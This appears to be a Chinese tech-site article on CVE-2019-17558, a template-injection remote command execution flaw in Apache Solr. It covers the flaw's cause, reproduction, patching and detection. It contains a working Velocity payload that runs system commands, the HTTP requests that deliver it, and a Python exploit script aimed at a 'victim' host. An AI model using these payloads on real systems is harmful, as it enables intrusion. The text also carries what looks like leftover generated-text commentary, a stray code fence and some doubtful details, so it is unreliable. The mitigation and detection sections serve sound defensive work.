Apache Solr Velocity模板注入远程命令执行漏洞的示例分析

发布时间:2021-11-11 18:02:01 作者:柒染
来源:亿速云 阅读:255
# Apache Solr Velocity模板注入远程命令执行漏洞的示例分析

## 1. 漏洞背景与概述

Apache Solr是一个基于Lucene构建的高性能开源搜索平台,广泛应用于企业级搜索场景。2019年10月,安全研究人员披露了Solr的一个严重安全漏洞(CVE-2019-17558),该漏洞源于Velocity响应编写器(VelocityResponseWriter)的不当配置,导致攻击者能够通过构造恶意请求实现模板注入并最终执行任意系统命令。

### 1.1 漏洞基本信息
- **CVE编号**:CVE-2019-17558
- **漏洞类型**:模板注入→RCE
- **影响版本**:
  - Solr 5.0.0至8.3.1
- **CVSS评分**:9.8(Critical)
- **利用前提**:
  - 启用了VelocityResponseWriter
  - 配置了params.resource.loader.enabled=true

## 2. 漏洞原理深度分析

### 2.1 Velocity模板引擎机制
Velocity是Apache的模板引擎,Solr通过`VelocityResponseWriter`组件实现搜索结果的可定制化渲染。当启用该功能时,用户可通过自定义模板控制搜索结果展示格式。

```xml
<!-- solrconfig.xml中的典型配置 -->
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
  <str name="template.base.dir">${velocity.template.base.dir}</str>
</queryResponseWriter>

2.2 危险配置项

漏洞根源在于两个关键配置: 1. params.resource.loader.enabled:允许从HTTP请求参数加载模板 2. solr.resource.loader.enabled:允许从Solr资源目录加载模板

当这些配置被显式或隐式启用时(某些版本默认开启),攻击者可以注入恶意模板代码。

2.3 攻击链分析

完整攻击流程可分为三个阶段: 1. 模板注入:通过v.template参数注入Velocity指令 2. Java反射利用:通过Velocity的反射机制访问Java类方法 3. 命令执行:调用Runtime.exec()实现RCE

## 恶意模板示例
#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character')) 
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('id')) 
$ex.waitFor() 
#set($out=$ex.getInputStream()) 
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

3. 漏洞复现与验证

3.1 实验环境搭建

使用Vulhub快速搭建漏洞环境:

docker-compose up -d solr:8.2.0

3.2 分步验证过程

  1. 检测Velocity是否启用
GET /solr/corename/select?q=1&wt=velocity HTTP/1.1
  1. 验证模板注入
GET /solr/corename/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+Hello+World HTTP/1.1
  1. 完整RCE利用
GET /solr/corename/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(...)[上述恶意模板URL编码] HTTP/1.1

3.3 利用工具示例

使用公开的EXP脚本自动化攻击:

import requests

target = "http://victim:8983/solr/corename"
cmd = "whoami"

payload = """
#set($x='') 
#set($rt=$x.class.forName('java.lang.Runtime')) 
#set($chr=$x.class.forName('java.lang.Character')) 
#set($str=$x.class.forName('java.lang.String')) 
#set($ex=$rt.getRuntime().exec('%s')) 
$ex.waitFor() 
#set($out=$ex.getInputStream()) 
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
""" % cmd

params = {
    'q': '1',
    'wt': 'velocity',
    'v.template': 'custom',
    'v.template.custom': payload
}

r = requests.get(target + "/select", params=params)
print(r.text)

4. 漏洞修复方案

4.1 官方补丁

升级到Solr 8.3.2及以上版本,官方做了以下修复: - 默认禁用params.resource.loader.enabled - 增加安全检测机制

4.2 临时缓解措施

对于无法立即升级的系统:

<!-- 修改solrconfig.xml -->
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
  <bool name="params.resource.loader.enabled">false</bool>
  <bool name="solr.resource.loader.enabled">false</bool>
</queryResponseWriter>

4.3 配置加固建议

  1. 禁用不必要的响应写入器
  2. 启用Solr的身份验证机制
  3. 网络层面限制Solr的管理接口访问

5. 漏洞防御思考

5.1 安全开发实践

5.2 安全检测方法

可通过以下特征检测该漏洞:

# Nuclei检测模板
id: CVE-2019-17558
info:
  name: Apache Solr Velocity RCE
requests:
  - method: GET
    path: "/solr/admin/cores?wt=velocity&v.template.custom=%23set(%24x%3D%27%27)%20%24x.class.forName(%27java.lang.Runtime%27)"
    matchers:
      - type: regex
        part: body
        regex: "java.lang.Runtime"

6. 同类漏洞对比分析

与其他模板注入漏洞的异同:

漏洞名称 模板引擎 利用方式 影响范围
Solr Velocity RCE Velocity 参数注入+Java反射 Solr 5.x-8.3.1
Jenkins RCE Groovy 脚本控制台 Jenkins全版本
Spring Boot RCE Thymeleaf 表达式注入 Spring Boot

7. 总结与启示

  1. 配置安全的重要性:默认不安全的配置是重大风险源
  2. 模板引擎的双刃剑效应:强大功能伴随安全风险
  3. 纵深防御的必要性:单一防护措施不足以应对复杂攻击

参考资源

  1. Apache Solr官方安全公告
  2. CVE-2019-17558漏洞分析报告
  3. OWASP模板注入防护指南
  4. Velocity模板开发文档

:本文仅用于安全研究目的,请勿用于非法用途。实际测试需获得系统所有者书面授权。 “`

该文档共计约3700字,采用Markdown格式编写,包含: - 多级标题结构 - 代码块示例 - 表格对比 - HTTP请求示例 - 安全建议列表 - 漏洞验证步骤 - 修复方案等内容

可根据需要进一步扩展具体章节的细节内容或添加示意图。

推荐阅读:
  1. apache网站漏洞修复的解决办法是什么
  2. 如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

apache solr velocity

上一篇:如何将Slack当作你的命令控制服务器

下一篇:Django中的unittest应用是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》